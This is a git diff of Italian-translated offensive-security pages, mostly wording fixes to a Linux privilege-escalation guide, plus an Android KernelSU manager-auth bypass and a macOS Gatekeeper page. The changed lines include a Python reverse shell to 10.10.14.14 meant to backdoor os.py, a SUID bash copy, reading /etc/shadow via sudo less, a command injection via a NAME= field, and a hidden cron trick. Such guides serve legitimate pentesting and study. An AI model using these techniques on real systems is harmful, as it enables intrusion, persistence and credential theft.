 for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
 ```
@@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
 
 ### Lavori cron invisibili
 
-È possibile creare un cronjob **mettendo un ritorno a capo dopo un commento** (senza carattere di nuova riga), e il lavoro cron funzionerà. Esempio (nota il carattere di ritorno a capo):
+È possibile creare un cronjob **mettendo un ritorno a capo dopo un commento** (senza carattere di nuova linea), e il lavoro cron funzionerà. Esempio (nota il carattere di ritorno a capo):
 ```bash
 #This is a comment inside a cron config file\r* * * * * echo "Surprise!"
 ```
@@ -405,7 +405,7 @@ Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binar
 
 ## **Timers**
 
-I **Timers** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file `**.service**` o eventi. I **Timers** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
+I **Timers** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file o eventi `**.service**`. I **Timers** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
 
 Puoi enumerare tutti i timer con:
 ```bash
@@ -419,7 +419,7 @@ Unit=backdoor.service
 ```
 Nella documentazione puoi leggere cosa è l'Unit:
 
-> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un servizio che ha lo stesso nome dell'unità timer, tranne per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano nominati identicamente, tranne per il suffisso.
+> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un servizio che ha lo stesso nome dell'unità timer, tranne per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer siano nominati in modo identico, tranne per il suffisso.
 
 Pertanto, per abusare di questo permesso dovresti:
 
@@ -445,15 +445,15 @@ I sockets possono essere configurati utilizzando file `.socket`.
 
 **Scopri di più sui sockets con `man systemd.socket`.** All'interno di questo file, possono essere configurati diversi parametri interessanti:
 
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse, ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.)
-- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i socket di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i socket datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si consiglia di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.)
+- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`.
 - `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo.
 - `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente.
 - `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
 
 ### File .socket scrivibili
 
-Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, dovrai **probabilmente aspettare fino a quando la macchina non viene riavviata.**\
+Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare fino a quando la macchina non verrà riavviata.**\
 _Nota che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_
 
 ### Sockets scrivibili
@@ -489,7 +489,7 @@ Se il socket **risponde con una richiesta HTTP**, allora puoi **comunicare** con
 
 ### Socket Docker Scrivibile
 
-Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere l'accesso in scrittura a questo socket può portare a un'escalation dei privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
+Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questo socket può portare a un'escalation dei privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
 
 #### **Escalation dei Privilegi con Docker CLI**
 
@@ -564,7 +564,7 @@ runc-privilege-escalation.md
 
 D-Bus è un sofisticato **sistema di comunicazione inter-processo (IPC)** che consente alle applicazioni di interagire e condividere dati in modo efficiente. Progettato tenendo presente il moderno sistema Linux, offre un robusto framework per diverse forme di comunicazione tra applicazioni.
 
-Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX migliorati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione senza soluzione di continuità tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziare, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi.
+Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX migliorati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione senza soluzione di continuità tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi.
 
 D-Bus opera su un **modello di autorizzazione/negazione**, gestendo i permessi dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) in base all'effetto cumulativo delle regole di policy corrispondenti. Queste politiche specificano le interazioni con il bus, consentendo potenzialmente l'elevazione dei privilegi attraverso lo sfruttamento di questi permessi.
 
@@ -681,16 +681,16 @@ fi
 ```bash
 grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
 ```
-### Password conosciute
+### Known passwords
 
-Se **conosci una password** dell'ambiente **cerca di accedere come ogni utente** utilizzando la password.
+Se **conosci qualche password** dell'ambiente **cerca di accedere come ogni utente** utilizzando la password.
 
 ### Su Brute
 
-Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso agli utenti utilizzando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
+Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso agli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
 [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare l'accesso agli utenti.
 
-## Abusi del PATH scrivibile
+## Writable PATH abuses
 
 ### $PATH
 
@@ -698,7 +698,7 @@ Se scopri che puoi **scrivere all'interno di qualche cartella del $PATH** potres
 
 ### SUDO e SUID
 
-Potresti essere autorizzato a eseguire alcuni comandi utilizzando sudo o potrebbero avere il bit suid. Controllalo usando:
+Potresti essere autorizzato a eseguire qualche comando usando sudo o potrebbero avere il bit suid. Controllalo usando:
 ```bash
 sudo -l #Check commands you can execute with sudo
 find / -perm -4000 2>/dev/null #Find all SUID binaries
@@ -755,7 +755,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
 ```
 **Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
 
-### Comando Sudo/Binary SUID senza percorso del comando
+### Comando Sudo/Binario SUID senza percorso del comando
 
 Se il **permesso sudo** è dato a un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH
 ```bash
@@ -771,7 +771,7 @@ Questa tecnica può essere utilizzata anche se un **suid** binary **esegue un al
 
 Se il **suid** binary **esegue un altro comando specificando il percorso**, allora puoi provare a **esportare una funzione** chiamata come il comando che il file suid sta chiamando.
 
-Ad esempio, se un binary suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione ed esportarla:
+Ad esempio, se un binary suid chiama _**/usr/sbin/service apache2 start**_ devi provare a creare la funzione e esportarla:
 ```bash
 function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
 export -f /usr/sbin/service
@@ -888,11 +888,11 @@ Se ricevi un errore come
 ```shell-session
 ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
 ```
-that means that the library you have generated need to have a function called `a_function_name`.
+che significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`.
 
 ### GTFOBins
 
-[**GTFOBins**](https://gtfobins.github.io) è un elenco curato di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo iniettare argomenti** in un comando.
+[**GTFOBins**](https://gtfobins.github.io) è un elenco curato di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **iniettare solo argomenti** in un comando.
 
 Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per uscire da shell ristrette, elevare o mantenere privilegi elevati, trasferire file, generare shell bind e reverse, e facilitare altre attività post-exploitation.
 
@@ -913,9 +913,9 @@ https://gtfoargs.github.io/
 
 Se puoi accedere a `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per controllare se trova come sfruttare qualsiasi regola sudo.
 
-### Reusing Sudo Tokens
+### Riutilizzo dei Token Sudo
 
-Nei casi in cui hai **accesso a sudo** ma non la password, puoi elevare i privilegi **aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione**.
+Nei casi in cui hai **accesso sudo** ma non la password, puoi elevare i privilegi **aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione**.
 
 Requisiti per elevare i privilegi:
 
@@ -981,7 +981,7 @@ permit nopass demo as root cmd vim
 
 Se sai che un **utente di solito si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell all'interno di quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, il tuo eseguibile sudo venga eseguito.
 
-Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
+Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
 
 O eseguendo qualcosa come:
 ```bash
@@ -1075,14 +1075,14 @@ setfacl -b file.txt #Remove the ACL of the file
 ```bash
 getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
 ```
-## Aprire sessioni di shell
+## Apri sessioni shell
 
-In **vecchie versioni** potresti **dirottare** alcune sessioni di **shell** di un altro utente (**root**).\
-Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni di schermo del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**.
+In **vecchie versioni** puoi **dirottare** alcune sessioni **shell** di un altro utente (**root**).\
+Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**.
 
-### dirottamento delle sessioni di schermo
+### dirottamento delle sessioni screen
 
-**Elenca le sessioni di schermo**
+**Elenca le sessioni screen**
 ```bash
 screen -ls
 screen -ls <username>/ # Show another user' screen sessions
@@ -1123,7 +1123,7 @@ Controlla **Valentine box from HTB** per un esempio.
 
 ### Debian OpenSSL Predictable PRNG - CVE-2008-0166
 
-Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere influenzate da questo bug.\
+Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\
 Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operativi, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
 
 ### Valori di configurazione SSH interessanti
@@ -1134,7 +1134,7 @@ Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operat
 
 ### PermitRootLogin
 
-Specifica se root può accedere utilizzando ssh, il valore predefinito è `no`. Valori possibili:
+Specifica se l'utente root può accedere utilizzando ssh, il valore predefinito è `no`. Valori possibili:
 
 - `yes`: root può accedere utilizzando password e chiave privata
 - `without-password` o `prohibit-password`: root può accedere solo con una chiave privata
@@ -1147,7 +1147,7 @@ Specifica i file che contengono le chiavi pubbliche che possono essere utilizzat
 ```bash
 AuthorizedKeysFile    .ssh/authorized_keys access
 ```
-Quella configurazione indicherà che se provi a effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua chiave con quelle situate in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`
+Quella configurazione indicherà che se provi a effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua chiave con quelle situate in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
 
 ### ForwardAgent/AllowAgentForwarding
 
@@ -1163,7 +1163,7 @@ Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa,
 Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\
 Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'agent ssh con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito).
 
-Se scopri che il Forward Agent è configurato in un ambiente, leggi la seguente pagina in quanto **potresti essere in grado di abusarne per escalare i privilegi**:
+Se scopri che il Forward Agent è configurato in un ambiente leggi la seguente pagina in quanto **potresti essere in grado di abusarne per escalare i privilegi**:
 
 {{#ref}}
 ssh-forward-agent-exploitation.md
@@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
 
 ### File di profilo
 
-Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi, puoi escalare i privilegi**.
+Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi puoi escalare i privilegi**.
 ```bash
 ls -l /etc/profile /etc/profile.d/
 ```
@@ -1235,7 +1235,7 @@ Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **
 ```bash
 ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
 ```
-### File inusuali/di proprietà
+### Posizioni strane/File di proprietà
 ```bash
 #root owned files in /home folders
 find /home -user root 2>/dev/null
@@ -1260,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
 ```bash
 find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
 ```
-### \*\_storia, .sudo_as_admin_successful, profilo, bashrc, httpd.conf, .piano, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml file
+### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
 ```bash
 find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
 ```
@@ -1297,7 +1297,7 @@ Inoltre, alcuni log di **audit** "mal" configurati (backdoored?) potrebbero perm
 aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
 grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
 ```
-Per **leggere i log, il gruppo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile.
+Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile.
 
 ### File shell
 ```bash
@@ -1319,15 +1319,15 @@ Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllar
 
 ### Python library hijacking
 
-Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
+Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
 
-Per **inserire un backdoor nella libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
+Per **backdoorare la libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
 ```python
 import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
 ```
 ### Logrotate exploitation
 
-Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory genitore di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
+Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory genitore di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, che spesso viene eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
 
 > [!TIP]
 > Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti
@@ -1344,11 +1344,11 @@ Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetai
 
 Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-<qualcosa>` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**.
 
-Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d).
+Gli script di rete, _ifcg-eth0_ ad esempio, vengono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d).
 
-Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazio bianco/nullo nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/nullo**. Questo significa che **tutto dopo il primo spazio bianco viene eseguito come root**.
+Nel mio caso, il `NAME=` attribuito in questi script di rete non viene gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**.
 
-Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_
+Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_
 ```bash
 NAME=Network /bin/id
 ONBOOT=yes
@@ -1391,7 +1391,7 @@ cisco-vmanage.md
 
 [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
 
-## Strumenti di Privesc Linux/Unix
+## Strumenti Privesc Linux/Unix
 
 ### **Miglior strumento per cercare vettori di escalation dei privilegi locali Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
 

src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

@@ -11,10 +11,10 @@ Questa pagina astratta le tecniche e le insidie scoperte nella ricerca pubblica
 
 - Il modulo/patch del kernel hooka una syscall (comunemente prctl) per ricevere "comandi" da userspace.
 - Il protocollo tipicamente è: magic_value, command_id, arg_ptr/len ...
-- Un'app manager in userspace si autentica prima (ad esempio, CMD_BECOME_MANAGER). Una volta che il kernel contrassegna il chiamante come un manager fidato, i comandi privilegiati vengono accettati:
-- Concedi root al chiamante (ad esempio, CMD_GRANT_ROOT)
+- Un'app manager in userspace si autentica prima (ad es., CMD_BECOME_MANAGER). Una volta che il kernel contrassegna il chiamante come un manager fidato, i comandi privilegiati vengono accettati:
+- Concedi root al chiamante (ad es., CMD_GRANT_ROOT)
 - Gestisci le liste di autorizzazione/negazione per su
-- Regola la politica SELinux (ad esempio, CMD_SET_SEPOLICY)
+- Regola la politica SELinux (ad es., CMD_SET_SEPOLICY)
 - Interroga versione/configurazione
 - Poiché qualsiasi app può invocare syscall, la correttezza dell'autenticazione del manager è critica.
 
@@ -29,7 +29,7 @@ Esempio (design di KernelSU):
 Quando userspace chiama prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...), KernelSU verifica:
 
 1) Controllo del prefisso del percorso
-- Il percorso fornito deve iniziare con un prefisso atteso per l'UID del chiamante, ad esempio /data/data/<pkg> o /data/user/<id>/<pkg>.
+- Il percorso fornito deve iniziare con un prefisso atteso per l'UID del chiamante, ad es. /data/data/<pkg> o /data/user/<id>/<pkg>.
 - Riferimento: core_hook.c (v0.5.7) logica del prefisso del percorso.
 
 2) Controllo della proprietà
@@ -37,7 +37,7 @@ Quando userspace chiama prctl(0xDEADBEEF, CMD_BECOME_MANAGER, data_dir_path, ...
 - Riferimento: core_hook.c (v0.5.7) logica della proprietà.
 
 3) Controllo della firma APK tramite scansione della tabella FD
-- Itera i descrittori di file aperti (FD) del processo chiamante.
+- Itera i descrittori di file (FD) aperti dal processo chiamante.
 - Scegli il primo file il cui percorso corrisponde a /data/app/*/base.apk.
 - Analizza la firma APK v2 e verifica contro il certificato ufficiale del manager.
 - Riferimenti: manager.c (iterando FDs), apk_sign.c (verifica APK v2).
@@ -52,29 +52,29 @@ Se il controllo della firma si lega a "il primo /data/app/*/base.apk corrisponde
 Questa fiducia per indiretto consente a un'app non privilegiata di impersonare il manager senza possedere la chiave di firma del manager.
 
 Proprietà chiave sfruttate:
-- La scansione FD non si lega all'identità del pacchetto del chiamante; si limita a corrispondere a stringhe di percorso.
+- La scansione FD non si lega all'identità del pacchetto del chiamante; si limita a fare un pattern-match delle stringhe di percorso.
 - open() restituisce il FD disponibile più basso. Chiudendo prima i FD numerati inferiormente, un attaccante può controllare l'ordinamento.
 - Il filtro controlla solo che il percorso corrisponda a /data/app/*/base.apk – non che corrisponda al pacchetto installato del chiamante.
 
 ---
 ## Precondizioni di attacco
 
-- Il dispositivo è già rootato con un framework di rooting vulnerabile (ad esempio, KernelSU v0.5.7).
+- Il dispositivo è già rootato con un framework di rooting vulnerabile (ad es., KernelSU v0.5.7).
 - L'attaccante può eseguire codice arbitrario non privilegiato localmente (processo dell'app Android).
-- Il vero manager non si è ancora autenticato (ad esempio, subito dopo un riavvio). Alcuni framework memorizzano l'UID del manager dopo il successo; devi vincere la corsa.
+- Il vero manager non si è ancora autenticato (ad es., subito dopo un riavvio). Alcuni framework memorizzano l'UID del manager dopo il successo; devi vincere la corsa.
 
 ---
 ## Schema di sfruttamento (KernelSU v0.5.7)
 
 Passaggi ad alto livello:
 1) Costruisci un percorso valido per la directory dei dati della tua app per soddisfare i controlli di prefisso e proprietà.
-2) Assicurati che un base.apk genuino di KernelSU Manager sia aperto su un FD numerato inferiormente rispetto al tuo base.apk.
+2) Assicurati che un base.apk genuino di KernelSU Manager sia aperto su un FD numerato inferiore rispetto al tuo base.apk.
 3) Invoca prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...) per superare i controlli.
 4) Emissione di comandi privilegiati come CMD_GRANT_ROOT, CMD_ALLOW_SU, CMD_SET_SEPOLICY per mantenere l'elevazione.
 
 Note pratiche sul passaggio 2 (ordinamento FD):
 - Identifica il tuo FD di processo per il tuo /data/app/*/base.apk camminando nei symlink di /proc/self/fd.
-- Chiudi un FD basso (ad esempio, stdin, fd 0) e apri prima l'APK legittimo del manager in modo che occupi fd 0 (o qualsiasi indice inferiore al tuo fd base.apk).
+- Chiudi un FD basso (ad es., stdin, fd 0) e apri prima l'APK legittimo del manager in modo che occupi fd 0 (o qualsiasi indice inferiore al tuo fd base.apk).
 - Raggruppa l'APK legittimo del manager con la tua app in modo che il suo percorso soddisfi il filtro ingenuo del kernel. Ad esempio, posizionalo sotto un sottopercorso che corrisponde a /data/app/*/base.apk.
 
 Esempi di frammenti di codice (Android/Linux, solo illustrativi):
@@ -170,7 +170,7 @@ Limitazioni dell'attacco:
 ---
 ## Note correlate tra i framework
 
-- L'autenticazione basata su password (ad es., versioni storiche di APatch/SKRoot) può essere debole se le password sono indovinabili/bruteforceabili o se le convalide sono difettose.
+- L'autenticazione basata su password (ad es., build storiche di APatch/SKRoot) può essere debole se le password sono indovinabili/bruteforceabili o se le convalide sono difettose.
 - L'autenticazione basata su pacchetto/firma (ad es., KernelSU) è più forte in linea di principio ma deve legarsi al chiamante effettivo, non a artefatti indiretti come le scansioni di FD.
 - Magisk: CVE-2024-48336 (MagiskEoP) ha dimostrato che anche ecosistemi maturi possono essere suscettibili a spoofing dell'identità che porta all'esecuzione di codice con root all'interno del contesto del manager.
 

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md

@@ -8,7 +8,7 @@
 
 Il meccanismo chiave di Gatekeeper risiede nel suo processo di **verifica**. Controlla se il software scaricato è **firmato da uno sviluppatore riconosciuto**, garantendo l'autenticità del software. Inoltre, verifica se il software è **notarizzato da Apple**, confermando che è privo di contenuti dannosi noti e non è stato manomesso dopo la notarizzazione.
 
-Inoltre, Gatekeeper rafforza il controllo e la sicurezza dell'utente **richiedendo agli utenti di approvare l'apertura** del software scaricato per la prima volta. Questa protezione aiuta a prevenire che gli utenti eseguano involontariamente codice eseguibile potenzialmente dannoso che potrebbero aver scambiato per un file di dati innocuo.
